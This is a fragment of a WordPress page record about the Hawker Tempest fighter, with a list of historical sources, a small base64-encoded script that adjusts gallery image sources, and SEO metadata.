\u201ctipping\u201d technique.<\/span><\/li>\n<li><a href=\"https:\/\/www.forcesnews.com\/heritage\/wwii\/how-spitfire-pilots-really-rammed-v1-bomb-out-sky\" target=\"_blank\" rel=\"noopener\">Forces News<\/a><span>Expert explanation that wing-tipping toppled V-1s via airflow, not physical ramming.<\/span><\/li>\n<li><a href=\"https:\/\/engineersatwar.ww2.imeche.org\/research-and-development\/development-of-the-napier-sabre-engine\/\" target=\"_blank\" rel=\"noopener\">IMechE \u2014 Engineers at War<\/a><span>The Napier Sabre H-24 sleeve-valve engine: design, power growth and reliability troubles.<\/span><\/li>\n<li><a href=\"https:\/\/secondtonone.com.pk\/2023\/09\/07\/remembering-pafs-first-fighter-tempest-ii\/\" target=\"_blank\" rel=\"noopener\">Second To None (PAF history)<\/a><span>Pakistan\u2019s Tempest IIs, Nos. 5 and 9 Squadrons at Peshawar and their replacement by the Sea Fury.<\/span><\/li>\n<li><a href=\"https:\/\/militarymachine.com\/ww2-aircraft\/tempest-mk-v\" target=\"_blank\" rel=\"noopener\">MilitaryMachine \u2014 Tempest Mk V<\/a><span>Consolidated specifications: dimensions, Sabre power, speed, ceiling, range and armament.<\/span><\/li>\n<\/ul>\n<\/div>\n<\/section>\n<div id=\"galfix71\" data-js=\"KGZ1bmN0aW9uKCl7dmFyIHN3YXA9ZnVuY3Rpb24oKXt2YXIgZT1kb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcjbWZhbSBpbWdbZGF0YS1vcHQtc3JjXScpO2Zvcih2YXIgaT0wO2k8ZS5sZW5ndGg7aSsrKXt2YXIgaW09ZVtpXTt2YXIgdT1pbS5nZXRBdHRyaWJ1dGUoJ2RhdGEtb3B0LXNyYycpO2lmKHUpe2ltLnNldEF0dHJpYnV0ZSgnc3JjJywoaW0uY2xvc2VzdCYmaW0uY2xvc2VzdCgnI2dhbCcpKT91LnJlcGxhY2UoL1wvdzooXGQrKVwvLyxmdW5jdGlvbihtbSxuKXtyZXR1cm4gK24+NzY4Pycvdzo3NjgvJzptbX0pLnJlcGxhY2UoL1wvaDpcZCtcLy8sJy9oOmF1dG8vJykucmVwbGFjZSgvXC9xOlxkK1wvLywnL3E6NzUvJyk6dSk7aW0ucmVtb3ZlQXR0cmlidXRlKCdkYXRhLW9wdC1zcmMnKTt9fX07aWYoZG9jdW1lbnQucmVhZHlTdGF0ZT09PSdsb2FkaW5nJyl7ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignRE9NQ29udGVudExvYWRlZCcsc3dhcCk7fWVsc2V7c3dhcCgpO312YXIgbj0wLGl2PXNldEludGVydmFsKGZ1bmN0aW9uKCl7c3dhcCgpO2lmKCsrbj4yMCl7Y2xlYXJJbnRlcnZhbChpdik7fX0sNDAwKTt9KSgpOw==\" style=\"display: none;\"><\/div>\n<p><script>(function(){var el=document.getElementById(\"galfix71\");var js=decodeURIComponent(escape(atob(el.getAttribute(\"data-js\"))));var sc=document.createElement(\"script\");sc.text=js;document.body.appendChild(sc);})();<\/script><\/div>\n","protected":false},"excerpt":{"rendered":"<p>Aircraft Museum \u203a Fighter \u203a Tempest Hawker TempestThe Typhoon perfected A thin-winged redesign of the troubled Typhoon \u2014 the fastest low-level piston fighter the RAF flew, the deadliest V-1 flying-bomb hunter of the war, and one of the few aircraft to catch and kill the Me&nbsp;262 jet. ~700 km\/h~435 mph \u00b7 fastest RAF piston fighter [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":19904,"parent":15960,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"editor_notices":[],"footnotes":""},"class_list":["post-19239","page","type-page","status-publish","has-post-thumbnail","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.3 - 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